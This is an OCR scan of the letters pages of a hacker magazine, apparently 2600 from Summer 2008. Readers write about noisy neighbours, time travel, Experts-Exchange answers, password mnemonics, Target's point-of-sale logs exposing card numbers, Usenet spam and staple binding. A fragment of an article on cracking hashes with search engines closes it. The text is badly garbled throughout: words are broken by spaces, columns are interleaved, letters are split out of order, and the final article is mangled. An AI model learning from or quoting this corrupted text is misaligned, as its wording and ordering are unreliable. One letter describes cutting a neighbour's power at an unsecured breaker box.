to the ed itor should look l i ke. 

Some of the letters I 've seen i n  2 600 are fantas­
tic ( I ' m  th i n king  in part icu lar  of the cease-and-desist 
from Genera l Motors), and i f  you contribute a l etter 
or two - or s ix,  that wou l d  he lp us take th is  short 
p iece to a h igher plateau .  

I n  t h e  ed it i ng, I ' l l  footnote each sentence t o  show 
where letters came from, but leave the writer anony­
mous. 

So p lease contribute! You can reach me by phone 
or e-ma i l  i f  you have questions.  The dead l i ne for the 
rough draft i s  Tuesday, March 4th . 

I ' m  j ust d ropping  you a q u i ck note from the U K  
t o  tel l you how i mpressed I was with your Spri ng 
2 008 issue. I 've been read ing  2600 s i nce 1 993, and 
I can honestly say that th is  i s  your best issue yet. If I 
had to show someone j ust one issue of 2 600 to i l l us­
trate what it's a l l  about, th is  wou ld be the one. You've 
managed to cover the whole scope of the hacki ng 
world, from beg in ner's tutor ia ls  l i ke " U ses for Knop­
pix" through to the advanced "Eavesdropping with 
LD_PRELOAD" (wh ich I barely u nderstand, but sti l l  
enjoyed read i ng). You've covered everyth ing  from 
the lega l issues, through the usual  scams and pran ks, 
to exploration of new technologies, with not a d u l l  
artic le  amongst them. You've got t h e  d r y  tech nica l  
artic les m i xed with some more personal  explorations 
( l i ke "A C loser Look at Wik iped ia"  by Barrett B rown 
and "To K i l l  a Subwoofer" by D ionysus - more l i ke 
these p lease. Even if the latter was tota l BS, these are 
engag ing and i nsp i rational reads.) The regu lar  col-

dave 
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Sounds like a great idea and we 're certainly open 
to this sort of thing. But we have all we can do to 
go through thp pilps of INters that  com" in anci sp­
lect which ones to print without also responciing 
to a whole other pile of project ideas like this one. 
We didn't even seC' your leller until well past your 
deadline, not tha t  WC' likely would havC' had timC' to 
respond if we had seen it before. So for the future, by 
all means, do something artistic with our stuff Just 
give credit and let us see what you come up with. 

Dear 2600: 
I am wr i t ing you th i s  letter to ask for your hel p !  
I have d is respectfu l neighbors and the i r  v i s itors . 

They blast the i r  stereos at a l l  hours of the n ight. I s  
there a c i rc u i t  I can b u i l d  or buy t o  d i srupt or  turn 
off the stereo? 

David 
If the fictitious solution we printed last issue 

doesn't help you, perhaps the following real worfd 
account will. 

Dear 2600: 
I read you r  "To K i l l  an Atomic  Subwoofer" artic l e  

and was d isappoi nted at t h e  end t o  see t h e  note that 
i t  was fict ion .  

However, i t  brought to m i nd someth i ng that  actu­
a l l y  happened to me. Th i s  was a long time ago in a 
ga laxy far far away as the say ing  goes . 

No l ie, I was study ing to be an e lectro n i cs tech n i ­
c ian  i n  Kansas C i ty. T h e  o ld apartment bu i l d i ng I was 
l iv ing in was a bit run down and had a l l  manner  of 
tenants. 

One day I was try ing  to s leep i n  preparation for 
an i m portant test the next day and the apartment be­
l ow had the stereo go ing fu l l  b last, preventi ng any 
thought of s leep. 

As I l ay in my bed contemplat ing my options, I 
thought of knocking on the door and ask ing n ice ly, 
but given the nature of some of the tenants I scratched 
that (I did wa nt to l ive to take the test the next day). 

My m i nd dr ifted to someth i ng I had seen in the 
basement next to the storage b ins :  a breaker box. 
I crept down the sta i rs and entered the basement. 
Looming in the dark was that breaker box. I opened 
the u nsecured cover and 10 and behold each breaker 
switch was l abeled with the apartment n u m ber. A 
fl ick  of the switch and my path to s leep and an A on 
the test the next day was " in the bag." 

The next morn ing  as I was leav ing I saw that a 
KCP&L truck had shown up and was puzz l i ng over 
the s ituat ion.  "Damn,  must have been them there 
powerfu l speakers i n  your  stereo." 

Breaker Boy 

Dear 2600: 
I have been a longti me reader of you r exce l lent 

magazi n e  but th i s  i s  my fi rst submiss ion and wou ld  
love to  see i t  pub l  i shed .  I 've had to  use my real name 
on the return address which I trust wi l l  be withheld .  

freedom of i nformation to the hacker subcu l ture.  Any 
i nput, content suggest ions, stor ies, or art ic l es can be 
submitted to Systemfa i l u re, S .  200 Spruce Ct.,  Post­
fa l l s, 1 0 83854 .  

Inmate #21 0266 

Responses 

Dear 2600: 
Th is  is a response to Jesse's letter on t ime travel 

in 24 :4 .  It is good to see you 're th i n k ing  and try ing  to 
u n ravel the u n iverse but I am go ing  to have to break 
your cosm i c  bubble .  Let me sta rt by say i ng yes, many 
scient ists do bel i eve that  t ime travel i s  poss ib le  ( I  do) .  
However, you seem to m isunderstand a few of the 
concepts. Ti me does not necessar i l y  move i n  only the 
forward d i rect ion;  Steven Hawking has defi ned the 
concept of t ime's arrow poi nt ing  one way but this i s  
not  proven and has i n  fact been d i sproven by many 
phys ic i sts ( read some Br ian  G reene). Now on to your 
t i me mach i ne: "wrong oh, Buckaroo Bonz i ." You r  
basic concept i s  sound, research "the twi n  paradox," 
but the problem i s  in the energy and speed req u i red. 
In order for this to work, for more than a few m i l ­
l i seconds o f  t i m e  ga i n ,  you wou ld have t o  travel very 
very c l ose to the speed of l ight. The problem with 
that is, as E i nste i n  described, as you approach the 
speed of l ight, mass i ncreases. I f  this i s  the case as 
the mass of you r sh ip i ncreases, the force requ i red 
to push i t  has to i ncrease. At the speed of l ight mass 
i s  i nfi n i te, so it  wou ld  take a l l  the force in the u n i ­
verse t o  move t h e  s h i p .  So, a t  speeds near t h e  speed 
of l ight you wou l d  need nearfy a l l  the force in the 
u n iverse to move i t .  A more sound way of ach i ev ing  
t ime travel ,  i n  both d i rections, i s  to  l i tera l l y  tear the  
u n iverse a new space hole .  I n  the i nterest of  brevi ty I 
w i l l  keep th i s  short and sweet. If you cou l d  isolate a 
m icro-s ingu la r ity, which appear and i nstant ly  d i sap­
pear around us a l l  the t i me, and then i nject i nto i t  a 
n ice chunk  of ant igravity (the oppos i te of a gravity 
part ic le) ,  you wou ld create a worm hole in space­
time jo i n i ng to prev ious ly  u njo i ned poi nts. One end 
of this worm hole cou l d  then be spun near the speed 
of l ight ( negl ig ib le  mass), for, say ten years, wh i le the 
other end is  kept fixed . The resu l t  of th i s  wou ld  be 
a time mach ine .  You wou l d  have a worm hole  that 
connects two points i n  space, where one end ex ists 
ten years in the (relat ive) futu re wh i l e  the other i s  
t e n  years i n  t h e  (relat ive) past. You cou ld  t h e n  pass 
anyth ing  through th i s  and move i t  either ten years 
i nto the futu re or  ten years i nto the past. Paradoxes 
abound ("gra ndfather," "conservation of mass/en­
ergy," etc . )  but a l l  of these have been addressed and 
the theory sti l l  proves to be sou nd.  

My credent ia l s :  Degrees i n  chemistry and math­
ematics and my hobby, besides the occas iona l  hack, 
i s  part ic le  phys ics .  

A lso, I recommend you do read Br ian G reene for 
more i nformation, but read with caut ion.  H is back­
ground i nformation i s  very clear and accurate but he 
j u m ps to some non-sequi tur  conc l us ions .  

Emperor 
We would really like this issue to be resolved one 

way or another as soon as possible. Is that  too much 
to ask? 

Dear 2600: 

I am currently compi l i ng a rt ic les and short stor ies 
for a website that is to be lau nched upon my release 
from i ncarceration at the end of J u l y. We hope the 
secur i ty m i nded s i te w i l l  prove to be a p l ace for l i ke­
m i nded i nd iv idua ls  l i ke your readers ( i n c l u d i ng me) 
to submit  a rt ic l es regard i ng a nyth ing  from informa­
t ion systems secur i ty - or lack of - and the pursu i t  of 

F i rst and foremost I wou ld  l i ke to say keep up 
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the great work. I love you r  mag and have been read­
ing for c l ose to a decade, though I m i ss the page 3 3  
d ifferences that used t o  appear i n  o lder issues. I n  is­
sue 24:4 Jesse put forth a theory about ti me travel .  I t  
has one problem s u m med up i n  two words:  Stephen 
Hawki ng. He decided to write a book ca l led A Brief 
History Of Time back in 1 998.  Not that I am try ing  to 
cast doubt upon the or igi n a l ity of Jesse's thought, but 
i t  i s  as though h i s/her theory was p u l led d i rectl y  from 
the pages of Mr. Hawki ng's book. 

Omega_Iteration 

Dear 2600: 
I was readi ng the a rt ic le  in the Wi nter 2 007's 

2600 i ssue about decrypt ing the ROT- 1 3 on Experts 
Exchange, and the a rtic le  ended by say ing  they don't 
use ROT- 1 3 anymore; they're actua l l y  "protecti ng" 
it  now. 

Wel l ,  okay, but they're not protect ing it .  Th i s  was 
true back when they were doing the ROT- 1 3 ,  but. . .  
c ' mon, guys; a l l  you h a d  t o  d o  was scro l l  down.  

Examp le  at http://www.experts-excha nge.com/ 
Web_ Deve l o p m e n tlWe b_ L a n g u ages-Sta n d a rds/ 
PH P/Q_2 2 1 07984.html  

Zach C.  

Dear 2600: 
I ' m  wr i t ing th i s  in response to the artic l e  "Decod­

ing Experts- Excha nge.com" wr itten by Phatbot. 
I a l so used to get frustrated when searc h i ng for 

i nformation on solut ions wou l d  return resu l ts that 
seemed to be dead on,  but hosted at expert-ex­
change. U nt i l  I noticed that the Google resu lts were 
l i sti ng text from the potent ia l  sol ut ion .  You and I both 
know that Google o n l y  i ndexes what it sees when it 
v is its the s i te.  So one day, I loaded the cached page 
i n stead and used the fi nd in my browser to locate the 
keywords that Google returned for my resu l ts. Guess 
what, Experts-exchange has been foo l i n g  us a l l !  I 
rea l i zed that if I paged down several pages, the ac­
tua l  solut ion i s  there i n  p l a i n  text.  Recent ly, I noti ced 
they have added a lot more pages of garbage before 
showing the p l a i n  text, but i t  i s  sti l l  there.  

What I rea l l y  hate a re the search engine s n i pe 
s i tes that p ick up on the terms you a re searc h i ng for 
and return what looks l i ke a so l ut ion when a l l  you 
fi nd  at the s i te i s  search res u l ts for the i r  bra i n  dead 
search engine or  worse yet a drive by down l oader. 

Hope th i s  he lps tame your frustrat ion .  
Exo 

Dear 2600: 
In response to the " H acker Perspective" a rt ic le  

i n  th i s  newest i ssue, I wrote a progra m that  wi l l  per­
form searches at m u l t ip le  search engi nes of random 
search terms at a n  i nterva l spec ified by the user. Do 
you have any i deas on how I can get this out to the 
people?  I t  i s  of course open sou rce. 

Rob 
One really swell way would be to send us the 

program or give us a link or something - anything. 

Dear 2600: 
Poss i b l y  Var iab le  Rush 's a rt i c le  on Knoppix ( 2 5 : 1 )  

has tr iggered a rash of responses l i ke th i s .  As VR d i s­
covered, the use of Knoppix to recover a Wi ndows 
system i s  l i m i ted by the fact that Knoppix does not 

have a l i cense to write to NTFS formatted d i sks. A 
much better recovery tool is " L ive Windows." Th i s  
can be found  at www. u bcd4w i n .com and imaged 
onto a CD. Once booted from the CD, it  is ab le  to 
write to NTFS d i sks and conta i n s  a su ite of too l s  that 
a l lows you to do cons iderab le  emergency su rgery on 
a fa i l ed system, i nc l ud i n g  changing both account  and 
CMOS passwords, a l though tamper ing wi th  CMOS 
with software not or ig inat ing from the CMOS manu­
factu rer may not  be a good idea i n  every case. A fa i l ­
u re t o  write t o  t h e  CMOS correct ly  cou l d  scramble  
the CMOS enough to  req u i re rep lac ing  the mother­
board, so I have not tried th i s  parti c u l a r  uti l ity. 

U s i ng a L ive Windows CD, I have been ab le  to 
successfu l l y  recover severa l W i ndows systems that 
have crashed or been locked out for var ious reasons 
and get them back on the road.  The only snag i s  that 
l i ke any " l ive" CD, it  i s  l i m i ted by the computer's a b i l ­
i t y  t o  boot from a C D .  If  t h e  B I OS does n o t  a l l ow th i s  
y o u  a re stuffed . . .  u n l ess anyone knows d ifferent? 

Peet the geek 

Dear 2600: 
I am writ ing th i s  letter in response to "Transmis­

s ions" i n  2 5 : 1 . The art ic l e  suggests that  the reason 
Ti me Wa rner i s  p lay ing with th i s  i dea i s  a tota l l y  ma­
l i c ious  one that i s  a i med at ho ld ing  back its custom­
ers j u st to i ncrease its monetary i ncome. Whi le, yes, 
the reason for p lay ing a round with th i s  idea defi n i te­
ly  has to with money, i t  i s  not meant to be m a l ic ious  
or control I i ng .  

As a n  employee of the company, I hea rd about 
this qu ite some t ime ago (about s ix  months ago to be 
exact) . One of the m a i n  reasons that they are actu­
a l l y  toy ing  with this idea to l i m i t  bandwidth i s  be­
cause when they looked at the i r  traffic stat ist ics for 
2 006, they saw that over 90 percent of thei r ava i l ­
a b l e  nat ionwide bandwidth was bei ng used for peer­
to-peer shar i ng, which o n l y  accounted for rough l y  
ten percent o f  t h e i r  subscr iber base. P u t  p l a i n l y, ten 
percent of our customers use over 90 percent of 
the nat ionwide bandwidth w h i l e  90 percent of our  
customers use less than ten  percent of  the  ava i l ab le  
bandwidth.  

Notice that I sa id  "ava i lab le  bandwidth," not 
"bandwidth used." Bas ica l l y, Ti me Warner i s  run­
ning out of bandwidth . And i n stead of i ncreas ing  
their  bandwidth (as  that  wou l d  cost money), they a re 
t h i n k i ng of i m p l ement ing th i s  pay by usage idea. 

Th is  i s  of cou rse abs u rd and I do not agree with 
it  i n  the s l ightest, but I j u st thought that maybe you 
shou l d  know a l i tt l e  more of what i s  go ing  on beh ind  
the  scenes. 

Unr3al 

Dear 2600: 
F i rst, I wou l d  l i ke to thank you for you r  response 

to F33 dyOO's letter in 24:4 on the topic of Target's 
i n  store network secur i ty. I was glad to see that you 
guys recogn ize that people with tec h n i ca l  capab i l i ­
t ies sometimes have t o  occu py m u ndane jobs t o  pay 
the b i l l s .  I was one of those peop le  myself for the 
better pa rt of a decade. 

Moving on, though, I wou l d  l i ke to confirm the 
i nformation presented in the or ig i n a l  a rt ic le  (24 :3  
"Target: For  Cred i t  Card Fraud") .  I l eft Target for  a 
progra m m i n g  job about th ree years ago, but i n  my 
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t ime occu py i ng var ious pos it ions at th ree d i fferent 
Target stores, I recogn i zed the same flawed setup at 
each store. The POS systems (at the t i me) were noth­
i ng more than Windows NT machi nes that had POS 
software ru n n i ng on them. Those mach i nes trans­
m i tted transaction i nfo to the store's server as the 
tra nsactions were processed . Th i s  i nfo was typ ica l l y  
stored for up  t o  a month i n case there was a n y  need 
to reca l l  i t  and even though the cred it  card n u m ber 
i s  obscu red on the receipt, i t  i s  not obscu red in any 
way once you have access to  v iew it i n  the store's 
tra nsact ion l og. 

That's j ust my $ .02 on the top ic .  Tha n ks for put­
ti ng out a great mag. 

Ed 

Dear 2600: 
I n  response to Agent ZerO's art ic le  " Password 

Memorization Mnemon ic," I th i n k  the methods de­
scribed aren 't much better than us ing  the same pass­
word for every account.  

Let's say I 'm sn iffi ng traffic at a coffee shop and 
see you logi n to MySpace with the ema i l  agentzrO@ 
gma i l .com and the password myspaceFz2 ! m ROO. 
You can bet my fi rst password guess on your gma i l  
account  wi l l  b e  gma i I Fz2 ! m ROO. H e l l ,  I m i ght a s  
wel l  try paypa l Fz2 ! m ROO a n d  wachovia �z2 ! m ROO. 
The da nger of mnemonics  for passwords i s  that if it 's 
easy for you, it's easy for an attacker too. Here, i n  my 
o p i n ion,  is a better way of doing password secur i ty. 

Use a d i fferent complete ly  random password for 
each account .  I l i ke us ing  the progra m pwgen to gen­
erate random passwords. There are severa l webs i tes 
that can do th i s  for you as wel l .  Keep a l l  these pass­
words in a text f i le  on your computer. The passwords 
you use most often you ' l l  end up  rememberi ng, the 
rest you' l l  have to look up  in th i s  f i le .  

But  don' t  leave i t  i n  j u st any text f i le  on any com­
puter. Use whole-d isk  encrypt ion .  Deb ian ,  Ubu ntu 
(a l ternate CD), Fedora Core, and probab ly  more L i ­
n u x  d i str ibut ions come wi th  whole-d isk  encrypt ion 
bu i l t  i nto the i nsta l ler. I f  you use Wi ndows, PCP 
Desktop i s  a good choice.  

Use PCP as wel l  (or gpg, i f  you 're the Free Soft­
ware type). Everyone shou ld  be us ing  th i s  for ev­
eryday ema i l  encrypt ion,  but it 's a l so very usefu l 
for encrypt ing  fi l es on your hard drive. Keep your 
password fi le encrypted with your PCP key. When 
you delete your tempora r i l y  u nencrypted password 
f i le, use a program l i ke w i pe or shred so it can never 
be recovered if  your computer ever got sto len  and 
the th ieves ever managed to break your whole-d i sk  
encryption .  

Th i s  m ight sound l i ke a very compl icated and 
parano id way of do ing th i n gs, but i t  rea l l y  i sn 't too 
bad for you r  everyday computer nerd, ass u m i n g  you 
regu lar ly  use PC P. And these are th i ngs that i t's good 
to get in the habi t  of doing a nyway. 

mOuntainrebel 

too much information about ourselves for no good 
reason. Everyone has something they want to keep 
to themselves and until that's seen as a good thing 
worthy of being encouraged, we 're going to have a 
tough time getting non-technical people to take these 
basic precautions. 

Dear 2600: 
Th is  i s  in response to Agent ZerO's Spring 2 008 

art ic le  " Password Memorization Mnemonic ."  W h i l e  
h i s  tech n ique i s  very s imp le  and easy t o  use, i t  does 
create a great dea l of r isk .  I f  a password is com­
pro m ised at one s i te, then the attacker can make 
a strongly educated guess at the user's other pass­
words; i f  buy.com uses buy1 2 3 ,  then Amazon prob­
ably uses a mazon 1 2 3 .  Th is means that the most 
i m portant passwords - eCommerce, o n l i n e  ba n k i ng 
- are o n l y  as safe as the weakpst s i te the user Irp­
quents. And s i n ce many coders out there sti l l  store 
unencrypted passwords in the database, th i s  i s  a very 
r isky propos i t ion .  

I n stead of  us ing  a n  easy-to-pred ict pattern, con­
s ider using d i st i nct complex passwords, but stori ng 
them secu re ly. I f  you 're on the Windows p latform, 
Bruce Schneier's free PasswordSafe i s  easy to use 
(and written by an authority on crypto logy). Both OS 
X and C N U/L i n u x  make i t  easy to sPl up encrypted 
part i t ions and/or d i s k  i mdges that can be used to 
store passwords. 

Al so, remember to change passwords frequent­
ly. Once you 're in the habit of track ing a la rge set 
of passwords, you m ight be su rpri sed how qu ick ly  
you r  fi ngers wi l l  remember them,  even if  your  bra i n  
doesn't.  

creepyinternetstalkerdude 

Problems 

Dear 2600: 
Th i s  a message for people out there that I need 

he lp  on u n dernet server #trans late. There i s  a person 
who needs to have a rem i  nder about abus ive actions 
taken on #tra n s late. They have ban ned peop le  be­
cause they th i n k  that there was a spam go ing on by 
me and they need to remember that i f  th,'y use m i re 
for i l l ega l pu rposes that they shou ld  be charged and 
ban ned from m i rc for  l i fe.  

Thei r  namp i s  @moniq so remembpr th i s  name 
and l et th i s  person know about i t .  

And th i s  i s  a g lobal  message to a l l  2600 fans out 
there so p l ease come in ASAP and tha n k  you for the 
he lp .  

Morgan 
Have you been outdoors at  all this year? There �s a 

whole world beyond IRe, trust us. And even if there 
wasn 't, it would be extremely difficult to figure out 
how we could possibly care less about any of this. 
We hope we were able to help. 

Dear 2600: 
Not rea l ly an art ic l e, but unsure of where to send 

this to. 
Did you guys know Borders in N SW, Austra l i a  

a re sel l i ng 2600 for 1 8  bucks a n  issue!  I know it's 
great that they sel l it at a l l ,  but makes me glad I 've 
subscri bed through the webs ite. 

route 

While perhaps your everyday computer nerd will 
be able to get into this habit, that won't accomplish 
much insofar as getting your parents and grandpar­
ents to achieve the same level of protection. First, 
the method has to be simple, intuitive, and secure. 
Second, and most importantly, the people must be 
enlightened to the concept of not leaving everything 
out in the open. Too many of us willingly give a way 

It's almost not really a letter too. But it's ao inter­
Summer 2008 ------------------- Page 45 



esting factoid The Australian dollar at press time is 
worth 95 American cents so it', almost exactly even . 
Even with all of the various charges that  go into over­
seas distribution, charging nearly 200 percent over 
our cover price doesn't seem justified Someone \  
making a lot o ff  o f  us. A n d  i t  ain 't us. 

Dear 2600: 
H i ,  I 've you r  Spr ing 2008 i ssue in hand .  OK on 

the change (aga i n )  in b ind i ngs. I ' l l  keep up whatever 
you do. Th i s  i s  by the way, one of those top ics where 
d i scuss ion can never end because both s ides a re 
r ight.  

You rs i s  one of the la rgest magazi nes i n  pri nt, to 
my eye, and that's good. There is  however, a top ic I 'd 
l i ke to see getting you r  spec ia l  down and gri tty treat­
ment. It is: where i s  a l l  th i s  crudwa re on U senet com­
ing from?  I t  has now k i l l ed the usefu l d iscussion that 
used to be there; the bright and i nteresting peop le  
have now gone somewhere e l se, for good reason, 
but the waste land that's left, fu l l  of various crazy and 
sub-adolescent verbage, i s  a sorry th ing to see. 

See rec .arts.sf.fandom, for i n stance; or compo 
os. l i nux.advocacy. They're broken now. 

I t  concerns me because 1 )  I t h i n k  i t's meant not 
as n u i sance but as censors h i p; and 2) i nnovation 
comes in from the fri nges and U senet used to be a 
very good fri nge. So I t h i n k  th i s  is a topic  va l uab le  to 
a l l  of us, a lthough some out there may d i sagree with 
that. Doesn't someone have at least a very good idea 
where that cra pware and scatware i s  com i ng from? 

Actua l l y, I 've been s l ight ly puzz l ed about  Usenet 
a l l  a long. Because when I l ooked at books on the 
topi c  of the In ternet and cyberspace, a l l  sorts of 
resources were mentioned but Usenet was not. Yet 
looking  at it, I thought (used to be) it was the most 
a l ive and i nterest ing part of cyberspace. 

Martha Adams 
First, when did we become one of the largest 

magazines in print? We must have missed something. 
As for Usenet, yes, it's sucked for quite a while now. 
Moderated newsgroups are really the only possible 
means of having interesting discussions and getting 
useful information, provided of course tha t  the mod­
erators don't abuse their power. Uncontrolled news­
groups invariably lead to chaos and spam. There are 
exceptions but you'd be hard pressed to find them 
on Usenet. 
Dear 2600: 

I l ive in Fredericton, N . B . ,  Canada and the spring 
issue just hit  the shelves today. I was wonderi ng if  i t  
was ever goi n g  to come.  I l ove the quarterly !  Now, I 
don't know if you a l ready know th is  or not but when 
I started go ing  through the issue I was a b i t  d i sap­
poi nted because there are pages that a re repeated 
(doubles of page 24 and so on) throughout the is­
sue and a rt ic les i ncomplete or m iss ing because of 
this.  Just thought that I wou l d  say someth i n g  i n  case 
someone e lse hasn't yet. 

Krista 
This is a problem that  seems to have affected 

some readers in Canada. The printer tells us it didn't 
happen to a large number of issues. Our readers are 
vital in letting us know when such problems occur 
and how widespread they are. If you find yourself 
stuck with a defective issue, email subs@2600. com 
and we'll take care of it. 

Dear 2600: 
Someone na med Barrett wrote a great p iece 

about Crap iped ia  in the la test issue. G reat job, and 
very accurate. I 've' run  i nto the same prob lems try­
i ng to post a l i st i ng ilbout a p u b l i c  figu re in my a rea 
(northeast U . 5 . )  and eilch t ime I tr ied t o  post i t ,  some 
self-appoi nted "ed i tor" wou l d  take i t  down, ca l l i ng 
it a persona l  attack.  I ' m  a l awyer and I know exact ly  
what  i s  and i s  not  I i be lous  or s l anderous. I took spe­
c i a l  care not to pr i nt anyth ing  that wasn't proper ly 
backed up with c i tat ions,  but  i t  made no d i fference -
t h i s  story was not about to be pub l i shed regardless of 
facts or h i storica l  s ign i ficance of the person . 

After appea l i ng to what seemed l i ke a constant ly  
changing panel of self-appoi nted experts, I rea l i zed 
Wik iped i a  "ed itors" and adm i n i strators don't even 
read the i r  own ru les and such items are often re­
moved based on personal  preference and pol it ica l  
agenda. 

Barrett i s  too correct - Wik ipedia i s  a l l  about who 
the "ed itors" (teenage B l ockbuster v ideo employees 
l iv ing  in mom's basement) agree with, not who's 
right. 

Sneak Email from a Vendor 

Dear 2600: 
Today I was appa l led to fi nd out that the 3G net­

work "3" d i scr im i nates aga i nst 2 600.com.  When try­
ing to access the s i te on my mob i l e  I was i nformed 
by Yahoo (the i r  back end) that the s i te I wished to 
access was unava i lable .  After contact ing customer 
care I was i nformed that s ites a re "fi l tered." I pre­
sumed that meant adu l t  content but i t  looks l i ke 
"3"  doesn't l i ke 2 600. I was told that if I wished to 
submit  a request to access the site I shou ld  ema i l  
customer.serv ice. ie@3 m a i l .com. I th i n k  you shou ld  
too. 

Paddy 
We'd like to know if others have experienced the 

same thing. Thanks for writing. 

Dear 2600: 
I ordered some n i ce sweats h i rt in order to sup­

port you and to l ook gorgeous .  Everyt h i ng went f ine. 
But  after try i ng to give you the best rat i ngs i magin­
able I got the fol lowi ng error message: "The U RL  you 
spec ified cou l d  not be found .  P lease check the U R L  
you entered and try aga i n ." Maybe a known prob­
lem, maybe not. Just wanted to tel l  you .  I assume I 
fi l led out the form correctl y. 

Regards from Austria 
Markus 

That  does happen on occasion but it most always 
is a situation that  resolves itself after a few hours. We 
suggest trying a few times. If it persists over days, 
then it would be worth pursuing. 

Dear 2600: 
I have purchased you r  Off The Hook d i scs and 

dec ided I wanted to l i sten to them on my Apple  i Pod 
Touch th i ngy. I u sed a f ind . -name "* .mp3" -exec cp 
{ }  IUsers/n i ckiMusic/Off-The-Hook command and 
ended u p  with a huge n u mber of mp3 fi l es .  U nfortu­
nate ly, due to some crazy date scheme, they are not 
in any sens ib le  order. My p lea i s  thus :  p lease use the 
I nternat ional  Date scheme when n a m i ng dated f i les.  
Th i s  i s  year, month, and day. Th i s  a l lows comput-
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ers to automati c a l l y  sort fi l es .  Now I ' l l  have to write 
someth ing  dreadfu l i nvo l v i ng awk to ass i m i l ate sa id 
f i les .  
The very kindest of regards from a somewhat sunny 

and warm southern England 
Nick (or should that be N1  ck perchance?) 

You 'll find the later years are in the sensible order. 
One of these days we'll get around to fixing the file 
naming scheme of the earlier years. We will cheer­
fully post any programs that  automate the renaming 
process on our website. 

Dear 2600: 
I wrote to the subscr ipt ion department to see if 

my issue had been m a i l ed to me because I hadn't re­
ceived it at the beg i n n i n g  of May. You r  company was 
k ind enough to m a i l  me out another issue. I wanted 
to thank  you for doing that. I a l so wanted to write to 
i nform you that the reason I got my post office box 
was because my m a i l  wou l d  often become " lost." 
N ow i t's happe n i ng at my post office box and i t  i n ­
volves the on ly  magaz ine I wou ld ever subscr ibe to !  

I went and i n q u i red at the post office to  see i f  
my i s sue  that  was  los t  had been found.  The lady at  
the counter i nformed me that  the postmaster wasn't 
there and I wou l d  have to speak to her. I told  her of 
my situat ion and she went and looked for it. Need­
less to say, she d idn't fi nd it. She did however i nform 
me that the peop le a round my box a re elder ly and 
they wou ldn't take my magazine without g iv ing i t  
back .  I wanted to let  you know that  whether i t  be 
by accident or  on purpose my i ssue was lost. Who 
knows, a n  e lder ly  woman may be try ing  her  hand at  
eavesd ropp ing  with LD_PRELOAD!  

I a l so saw that  a lo t  of  people wi th  the name of 
Jeff wrote l etters in the last issue. I ' m  glad I put "The" 
in front of my name. 

The Jeff 

Dear 2600: 
Over the years I 've read many letters in your 

magazine about how n umerous i nd iv idua ls  have 
been s i ngled out unfa i rly  by either v iewing you r  
website or b y  being i n  possess ion o f  t h e  2600 pub­
l i cat ion itself. 

I now am one of those proud martyrs. I'm fin ish­
ing  out the last year and a ha lf  of a s ix  year pr ison 
sentence at Delaware Correctional  Center. On Feb­
ruary 8th my cel l was shook down wh i l e  I was at a 
typ ing  c lass .  When I returned to my b u i l d i ng a l ieu­
tenant pu l led me aside and i nformed me that I was 
being written up  for possess ion of non-dangerous 
contraband. 

When I asked what this contraband was, he told 
me it  was two i ssues each of 2 600 and Make Maga­
zine. Confused, I asked how they cou ld  be consid­
ered contraband when the pr ison m a i l room here has 
been a l lowing me to receive these mags for the past 
th ree years and a nyth ing  the mai l room here consid­
ers a secur i ty th reat they wou ld  not a l l ow the i nmate 
to have. 

The l i eutenant, looking equa l l y  confused (or 
maybe it  was j ust the b lank  stare of a man wa it ing 
out the workday c l ock), gave me the " I 'm j ust the 
m iddleman here" speech and told  me I 'd be moved 
to a h igher sec u rity a rea to awa it  my hear i ng. Now 
I ' m  on a near 2 4/7 l ockdown.  

My po i nt to a l l  out there rea d i ng th i s  i s  s i mple .  
Don't  wa l l ow i n  self p i ty i f  you're ever  s i ngled out 
by fear  pedd lers .  Use whatever s k i l l s  you have to 
show those ignorant  of you r  pass ions  that you 're 
dr iven by a hea lthy cu r ios i ty, not a ma l i c ious natu re. 
Don't waste t ime argu i ng with midd lemen, go to the 
sou rce. I f  you 're barred from doing i t  in person, don't 
u nderest i mate the powerfu l proxy of presence us ing  
repeated correspondence. Keep up the  good work 
2600, your pages tru l y  a re the few rema i n i ng bas­
tions of or ig i n a l ity and free thought left. 

Cood Things 

Dear 2600: 

Max Rider 
SBI 00383681 
Unit 2 1 ,  DCC 

1 1 81 Paddock Rd. 
Smyrna, DE 1 9977 

I j ust found 2600 while brows ing  at Barnes & 
Noble. What a great s u rpr i se and treat. I am send­
ing for a subscript ion today ! I was one of the "old 
t i me" hackers who d id  noth ing  at n ight but c rack 
C64 games and programs.  I 've been out of i t  s i nce 
the end of the 80s and haven't spoken to any of my 
o ld  "fe l low hackers" s i nce then. I am amazed at the 
content of you r  magaz i ne and wish a thousand more 
years of success ! 

ExPhil lyMM 

Dear 2600: 
Rega rd ing  the return of the stap led sp ine . . .  Thank  

you !  Thank  you ! Than k  you ! 
Apathy 

Dear 2600: 
I j ust received 2 5 : 1  and it was on ly  by the t ime 

that I got to page 45 u nder "Observations" after read­
ing Check Check's comments about the b ind ing  that 
I rea l i zed you guys a re back to us ing the c lass ic two 
staples instead of the g lue b i nd i ng. It was a moment 
of Zen as I rea l i zed that this i s  why i t  fel t  so comfort­
able in my hand and why i t  opened so n icely making 
i t  eas ier  to read and enjoy. Thanks for  the change, i t  
rea l l y  means a lot!  

Israel Torres 
Dear 2600: 

I j ust fin i shed reading an a rt ic le  in the latest 2600 
magazi ne, and I was fl ipp ing back to the contents 
when I rea l i zed that th i s  issue was stap le-bound.  I 
l i ke to fold  the magazine  a l l  the way back so that 
I can hold i t  i n  one hand wh i l e  readi ng. I love the 
stap le-bi n d i ng so much more than the gl ue-bind ing  
we had i n  2007!  Thanks for switch ing  back. 

Lex 
We really had no choice after a year of one prob­

lem after another. It would have been nice if the oth­
er binding had worked out but for whatever reason it 
didn't, so staples it is. 

Immortalize yourself with a good old-fashioned 
letter to 2600. Simply email letters@2600.com 

or send snail mail to 
2600 Letters, PO Box 99, 
Middle Island, NY 1 1 953.  

It may be the best decision you make this year. 
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by Acrobatic 

CRacKiLflG wi  rrh  rrh E 
W Eb rrio Lfla RY: Usilll G 
G O O GlE a ill d Ya h o o !  TO 

LiG h T-�O RC E  a lll (alm OST) 
IlIltillliT E DicTio lll a RY 

with m i l l i ons of hashes and  the i r  respective 
p l a i ntexts, i ndexed by Goog l e  a n d  Yahoo! for 

Attacks o n  c ryptogra p h i c  schemes h ave us to peruse. The i nternet has essenti a l ly 
been a rou nd for years. Genera l l y, the most become both a d i str i buted computi ng r i ng  and 
successfu l attacks re l y  on t i me, powerfu l a h uge d i ct ionary for us to brute-force from-a 
processors, and  a l a rge pool of data from webt ionary. 
wh ich to test c rack ing attempts. G ranted, th i s  i s n ' t  near ly  as  easy for more 

One way of a l lev iat i ng  the t ime prob lem secure passwords or for passwords that h ave 
